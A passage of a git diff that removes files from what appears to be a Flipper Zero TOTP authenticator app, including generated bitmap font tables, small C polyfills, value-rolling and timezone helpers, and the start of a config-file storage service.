- 0x1C, - 0x03, - 0x1C, - 0x03, - 0x98, - 0x03, - 0x98, - 0x03, - 0xB8, - 0x01, - 0xB0, - 0x01, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, - - /* @832 'W' (12 pixels wide) */ - 0x67, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xF6, - 0x0C, - 0xB6, - 0x0E, - 0xB6, - 0x07, - 0xB6, - 0x07, - 0x96, - 0x07, - 0x9C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x0C, - 0x07, - 0x00, - 0x00, - - /* @864 'X' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0x98, - 0x03, - 0xB8, - 0x01, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x01, - 0xB8, - 0x03, - 0x9C, - 0x03, - 0x0C, - 0x07, - 0x0E, - 0x06, - 0x07, - 0x0E, - 0x00, - 0x00, - - /* @896 'Y' (12 pixels wide) */ - 0x07, - 0x0C, - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0x18, - 0x03, - 0xB8, - 0x03, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for Red Hat Mono 16pt */ -/* { [Char width in bits], [Offset into redHatMono_16ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO redHatMono_16ptDescriptors[] = { - {12, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {12, 32}, /* 0 */ - {12, 64}, /* 1 */ - {12, 96}, /* 2 */ - {12, 128}, /* 3 */ - {12, 160}, /* 4 */ - {12, 192}, /* 5 */ - {12, 224}, /* 6 */ - {12, 256}, /* 7 */ - {12, 288}, /* 8 */ - {12, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {12, 352}, /* B */ - {12, 384}, /* C */ - {12, 416}, /* D */ - {0, 0}, /* E */ - {12, 448}, /* F */ - {12, 480}, /* G */ - {12, 512}, /* H */ - {0, 0}, /* I */ - {12, 544}, /* J */ - {12, 576}, /* K */ - {0, 0}, /* L */ - {12, 608}, /* M */ - {12, 640}, /* N */ - {0, 0}, /* O */ - {12, 672}, /* P */ - {12, 704}, /* Q */ - {12, 736}, /* R */ - {0, 0}, /* S */ - {12, 768}, /* T */ - {0, 0}, /* U */ - {12, 800}, /* V */ - {12, 832}, /* W */ - {12, 864}, /* X */ - {12, 896}, /* Y */ -}; - -/* Font information for Red Hat Mono 16pt */ -const FONT_INFO redHatMono_16ptFontInfo = { - "RedHat Mono", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - redHatMono_16ptDescriptors, /* Character descriptor array */ - redHatMono_16ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h b/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h deleted file mode 100644 index ac9214d6b..000000000 --- a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Redhat Mono 16pt */ -extern const FONT_INFO redHatMono_16ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/zector/zector.c b/applications/external/totp/lib/fonts/zector/zector.c deleted file mode 100644 index c94e455e4..000000000 --- a/applications/external/totp/lib/fonts/zector/zector.c +++ /dev/null @@ -1,1057 +0,0 @@ -#include "zector.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Zector 18pt -*/ - -/* Character bitmaps for Zector 18pt */ -const uint8_t zector_18ptBitmaps[] = { - /* @0 '-' (9 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x83, - 0x00, - 0x85, - 0x00, - 0x85, - 0x00, - 0x89, - 0x00, - 0x89, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xA1, - 0x00, - 0xC1, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @64 '1' (9 pixels wide) */ - 0x10, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x14, - 0x00, - 0x14, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x11, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xFF, - 0x00, - - /* @96 '2' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0xFF, - 0x00, - - /* @128 '3' (9 pixels wide) */ - 0xFF, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x60, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x00, - 0x01, - 0x01, - 0x01, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @160 '4' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xFF, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - - /* @192 '5' (9 pixels wide) */ - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x3F, - 0x00, - 0x40, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0x3C, - 0x00, - - /* @224 '6' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x3D, - 0x00, - 0x43, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0x3C, - 0x00, - - /* @256 '7' (9 pixels wide) */ - 0xFF, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x01, - 0x00, - - /* @288 '8' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @320 '9' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0xBC, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @352 'B' (9 pixels wide) */ - 0x3F, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - - /* @384 'C' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @416 'D' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - - /* @448 'F' (9 pixels wide) */ - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - - /* @480 'G' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0xF1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @512 'H' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xFF, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @544 'J' (9 pixels wide) */ - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @576 'K' (9 pixels wide) */ - 0x81, - 0x00, - 0xC1, - 0x00, - 0x61, - 0x00, - 0x21, - 0x00, - 0x11, - 0x00, - 0x09, - 0x00, - 0x05, - 0x00, - 0x03, - 0x00, - 0x01, - 0x00, - 0x03, - 0x00, - 0x05, - 0x00, - 0x09, - 0x00, - 0x11, - 0x00, - 0x21, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - - /* @608 'M' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x83, - 0x00, - 0xC3, - 0x00, - 0xC5, - 0x00, - 0xA5, - 0x00, - 0xA9, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @640 'N' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x83, - 0x00, - 0x83, - 0x00, - 0x85, - 0x00, - 0x85, - 0x00, - 0x89, - 0x00, - 0x89, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xA1, - 0x00, - 0xC1, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @672 'P' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - - /* @704 'Q' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xC2, - 0x00, - 0xBC, - 0x00, - - /* @736 'R' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x03, - 0x00, - 0x05, - 0x00, - 0x09, - 0x00, - 0x11, - 0x00, - 0x21, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - - /* @768 'T' (9 pixels wide) */ - 0xFF, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - - /* @800 'V' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x82, - 0x00, - 0x42, - 0x00, - 0x44, - 0x00, - 0x24, - 0x00, - 0x28, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - - /* @832 'W' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0x99, - 0x00, - 0xA9, - 0x00, - 0xA5, - 0x00, - 0xC5, - 0x00, - 0x83, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @864 'X' (9 pixels wide) */ - 0x81, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x81, - 0x00, - - /* @896 'Y' (9 pixels wide) */ - 0x81, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, -}; - -/* Character descriptors for Zector 18pt */ -/* { [Char width in bits], [Offset into zector_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO zector_18ptDescriptors[] = { - {9, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {9, 32}, /* 0 */ - {9, 64}, /* 1 */ - {9, 96}, /* 2 */ - {9, 128}, /* 3 */ - {9, 160}, /* 4 */ - {9, 192}, /* 5 */ - {9, 224}, /* 6 */ - {9, 256}, /* 7 */ - {9, 288}, /* 8 */ - {9, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {9, 352}, /* B */ - {9, 384}, /* C */ - {9, 416}, /* D */ - {0, 0}, /* E */ - {9, 448}, /* F */ - {9, 480}, /* G */ - {9, 512}, /* H */ - {0, 0}, /* I */ - {9, 544}, /* J */ - {9, 576}, /* K */ - {0, 0}, /* L */ - {9, 608}, /* M */ - {9, 640}, /* N */ - {0, 0}, /* O */ - {9, 672}, /* P */ - {9, 704}, /* Q */ - {9, 736}, /* R */ - {0, 0}, /* S */ - {9, 768}, /* T */ - {0, 0}, /* U */ - {9, 800}, /* V */ - {9, 832}, /* W */ - {9, 864}, /* X */ - {9, 896}, /* Y */ -}; - -/* Font information for Zector 18pt */ -const FONT_INFO zector_18ptFontInfo = { - "Zector", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - zector_18ptDescriptors, /* Character descriptor array */ - zector_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/zector/zector.h b/applications/external/totp/lib/fonts/zector/zector.h deleted file mode 100644 index 2a5cf5907..000000000 --- a/applications/external/totp/lib/fonts/zector/zector.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font information for Zector 18pt */ -extern const FONT_INFO zector_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/memset_s.c b/applications/external/totp/lib/polyfills/memset_s.c deleted file mode 100644 index 81c285c0d..000000000 --- a/applications/external/totp/lib/polyfills/memset_s.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "memset_s.h" - -#define RSIZE_MAX 0x7fffffffffffffffUL - -errno_t memset_s(void* s, rsize_t smax, int c, rsize_t n) { - if(!s || smax > RSIZE_MAX) { - return EINVAL; - } - - errno_t violation_present = 0; - if(n > smax) { - n = smax; - violation_present = EINVAL; - } - - volatile unsigned char* v = s; - for(rsize_t i = 0u; i < n; ++i) { - *v++ = (unsigned char)c; - } - - return violation_present; -} \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/memset_s.h b/applications/external/totp/lib/polyfills/memset_s.h deleted file mode 100644 index 54628860d..000000000 --- a/applications/external/totp/lib/polyfills/memset_s.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include -#include - -#ifndef _RSIZE_T_DECLARED -typedef uint64_t rsize_t; -#define _RSIZE_T_DECLARED -#endif -#ifndef _ERRNOT_DECLARED -typedef int16_t errno_t; //-V677 -#define _ERRNOT_DECLARED -#endif - -/** - * @brief Copies the value \p c into each of the first \p n characters of the object pointed to by \p s. - * @param s pointer to the object to fill - * @param smax size of the destination object - * @param c fill byte - * @param n number of bytes to fill - * @return \c 0 on success; non-zero otherwise - */ -errno_t memset_s(void* s, rsize_t smax, int c, rsize_t n); \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/strnlen.c b/applications/external/totp/lib/polyfills/strnlen.c deleted file mode 100644 index 54d183895..000000000 --- a/applications/external/totp/lib/polyfills/strnlen.c +++ /dev/null @@ -1,11 +0,0 @@ -#include "strnlen.h" - -size_t strnlen(const char* s, size_t maxlen) { - size_t len; - - for(len = 0; len < maxlen; len++, s++) { - if(!*s) break; - } - - return len; -} \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/strnlen.h b/applications/external/totp/lib/polyfills/strnlen.h deleted file mode 100644 index 4fe0d540c..000000000 --- a/applications/external/totp/lib/polyfills/strnlen.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#pragma weak strnlen - -#include - -size_t strnlen(const char* s, size_t maxlen); \ No newline at end of file diff --git a/applications/external/totp/lib/roll_value/roll_value.c b/applications/external/totp/lib/roll_value/roll_value.c deleted file mode 100644 index 326c7846a..000000000 --- a/applications/external/totp/lib/roll_value/roll_value.c +++ /dev/null @@ -1,28 +0,0 @@ -#include "roll_value.h" - -#define TOTP_ROLL_VALUE_FN(type, step_type) \ - TOTP_ROLL_VALUE_FN_HEADER(type, step_type) { \ - type v = *value; \ - if(step > 0 && v > max - step) { \ - if(overflow_behavior == RollOverflowBehaviorRoll) { \ - v = min; \ - } else if(overflow_behavior == RollOverflowBehaviorStop) { \ - v = max; \ - } \ - } else if(step < 0 && v < min - step) { \ - if(overflow_behavior == RollOverflowBehaviorRoll) { \ - v = max; \ - } else if(overflow_behavior == RollOverflowBehaviorStop) { \ - v = min; \ - } \ - } else { \ - v += step; \ - } \ - *value = v; \ - } - -TOTP_ROLL_VALUE_FN(int8_t, int8_t) - -TOTP_ROLL_VALUE_FN(uint8_t, int8_t) - -TOTP_ROLL_VALUE_FN(size_t, int16_t); \ No newline at end of file diff --git a/applications/external/totp/lib/roll_value/roll_value.h b/applications/external/totp/lib/roll_value/roll_value.h deleted file mode 100644 index 0c1894fd6..000000000 --- a/applications/external/totp/lib/roll_value/roll_value.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include - -typedef uint8_t TotpRollValueOverflowBehavior; - -enum TotpRollValueOverflowBehaviors { - /** - * @brief Do not change value if it reached constraint - */ - RollOverflowBehaviorStop, - - /** - * @brief Set value to opposite constraint value if it reached constraint - */ - RollOverflowBehaviorRoll -}; - -#define TOTP_ROLL_VALUE_FN_HEADER(type, step_type) \ - void totp_roll_value_##type( \ - type* value, \ - step_type step, \ - type min, \ - type max, \ - TotpRollValueOverflowBehavior overflow_behavior) - -/** - * @brief Rolls \c int8_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(int8_t, int8_t); - -/** - * @brief Rolls \c uint8_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(uint8_t, int8_t); - -/** - * @brief Rolls \c size_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(size_t, int16_t); \ No newline at end of file diff --git a/applications/external/totp/lib/timezone_utils/timezone_utils.c b/applications/external/totp/lib/timezone_utils/timezone_utils.c deleted file mode 100644 index 31df3bbba..000000000 --- a/applications/external/totp/lib/timezone_utils/timezone_utils.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "timezone_utils.h" - -int32_t timezone_offset_from_hours(float hours) { - return hours * 3600.0f; -} - -uint64_t timezone_offset_apply(uint64_t time, int32_t offset) { - uint64_t for_time_adjusted; - if(offset > 0) { - for_time_adjusted = time - offset; - } else { - for_time_adjusted = time + (-offset); - } - - return for_time_adjusted; -} diff --git a/applications/external/totp/lib/timezone_utils/timezone_utils.h b/applications/external/totp/lib/timezone_utils/timezone_utils.h deleted file mode 100644 index 5bb3b8ead..000000000 --- a/applications/external/totp/lib/timezone_utils/timezone_utils.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include - -/** - * @brief Calculates timezone offset in seconds given timezone offset in hours. - * @param hours timezone offset in hours - * @return Timezone offset in seconds. - */ -int32_t timezone_offset_from_hours(float hours); - -/** - * @brief Applies timezone offset to a given time. - * @param time time to apply offset to. - * @param offset timezone offset in seconds. - * @return Time with timezone offset applied. - */ -uint64_t timezone_offset_apply(uint64_t time, int32_t offset); diff --git a/applications/external/totp/lib/wolfssl b/applications/external/totp/lib/wolfssl deleted file mode 160000 index d3d131d08..000000000 --- a/applications/external/totp/lib/wolfssl +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d3d131d08d72b4e01cfff2fbe57d39cd46d6b0dc diff --git a/applications/external/totp/services/config/config.c b/applications/external/totp/services/config/config.c deleted file mode 100644 index bd2d877b0..000000000 --- a/applications/external/totp/services/config/config.c +++ /dev/null @@ -1,739 +0,0 @@ -#include "config.h" -#include -#include -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../../types/token_info.h" -#include "../../config/app/config.h" -#include "../crypto/crypto_facade.h" -#include "../crypto/constants.h" -#include "migrations/common_migration.h" - -#define CONFIG_FILE_PATH CONFIG_FILE_DIRECTORY_PATH "/totp.conf" -#define CONFIG_FILE_BACKUP_DIR CONFIG_FILE_DIRECTORY_PATH "/backups" -#define CONFIG_FILE_BACKUP_BASE_PATH CONFIG_FILE_BACKUP_DIR "/totp.conf" - -struct ConfigFileContext { - /** - * @brief Config file reference - */ - FlipperFormat* config_file; - - /** - * @brief Storage reference - */ - Storage* storage; - - /** - * @brief Token list iterator context - */ - TokenInfoIteratorContext* token_info_iterator_context; -}; - -/** - * @brief Opens storage record - * @return Storage record - */ -static Storage* totp_open_storage() { - return furi_record_open(RECORD_STORAGE); -} - -/** - * @brief Closes storage record - */ -static void totp_close_storage() { - furi_record_close(RECORD_STORAGE); -} - -/** - * @brief Closes config file - * @param file config file reference - */ -static void totp_close_config_file(FlipperFormat* file) { - if(file == NULL) return; - flipper_format_file_close(file); - flipper_format_free(file); -} - -/** - * @brief Tries to take a config file backup - * @param storage storage record - * @return backup path if backup successfully taken; \c NULL otherwise - */ -static char* totp_config_file_backup_i(Storage* storage) { - if(!storage_dir_exists(storage, CONFIG_FILE_BACKUP_DIR) && - !storage_simply_mkdir(storage, CONFIG_FILE_BACKUP_DIR)) { - return NULL; - } - - FuriHalRtcDateTime current_datetime; - furi_hal_rtc_get_datetime(¤t_datetime); - - uint8_t backup_path_size = sizeof(CONFIG_FILE_BACKUP_BASE_PATH) + 14; - char* backup_path = malloc(backup_path_size); - furi_check(backup_path != NULL); - memcpy(backup_path, CONFIG_FILE_BACKUP_BASE_PATH, sizeof(CONFIG_FILE_BACKUP_BASE_PATH)); - uint16_t i = 1; - bool backup_file_exists; - do { - snprintf( - backup_path, - backup_path_size, - CONFIG_FILE_BACKUP_BASE_PATH ".%4" PRIu16 "%02" PRIu8 "%02" PRIu8 "-%" PRIu16, - current_datetime.year, - current_datetime.month, - current_datetime.day, - i); - i++; - } while((backup_file_exists = storage_common_exists(storage, backup_path)) && i <= 9999); - - if(backup_file_exists || - storage_common_copy(storage, CONFIG_FILE_PATH, backup_path) != FSE_OK) { - FURI_LOG_E(LOGGING_TAG, "Unable to take a backup"); - free(backup_path); - return NULL; - } - - FURI_LOG_I(LOGGING_TAG, "Took config file backup to %s", backup_path); - return backup_path; -} - -/** - * @brief Opens or creates TOTP application standard config file - * @param storage storage record to use - * @param[out] file opened config file - * @return Config file open result - */ -static bool totp_open_config_file(Storage* storage, FlipperFormat** file) { - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - bool conf_file_exists = storage_common_stat(storage, CONFIG_FILE_PATH, NULL) == FSE_OK; - if(!conf_file_exists && - storage_common_stat(storage, EXT_PATH("authenticator"), NULL) == FSE_OK) { - FURI_LOG_I(LOGGING_TAG, "Application catalog needs to be migrated"); - FS_Error migration_result = - storage_common_migrate(storage, EXT_PATH("authenticator"), CONFIG_FILE_DIRECTORY_PATH); - FURI_LOG_I(LOGGING_TAG, "Migrated catalog. Result code: %d", (int)migration_result); - conf_file_exists = storage_common_stat(storage, CONFIG_FILE_PATH, NULL) == FSE_OK; - } - - if(conf_file_exists) { - FURI_LOG_D(LOGGING_TAG, "Config file %s found", CONFIG_FILE_PATH); - if(!flipper_format_file_open_existing(fff_data_file, CONFIG_FILE_PATH)) { - FURI_LOG_E(LOGGING_TAG, "Error opening existing file %s", CONFIG_FILE_PATH); - totp_close_config_file(fff_data_file); - return false; - } - } else { - if(storage_common_stat(storage, CONFIG_FILE_DIRECTORY_PATH, NULL) == FSE_NOT_EXIST) { - FURI_LOG_D(LOGGING_TAG, "Config file directory doesn't exist. Will create new"); - if(!storage_simply_mkdir(storage, CONFIG_FILE_DIRECTORY_PATH)) { - FURI_LOG_E( - LOGGING_TAG, - "Error creating config file directory %s", - CONFIG_FILE_DIRECTORY_PATH); - return false; - } - } - - 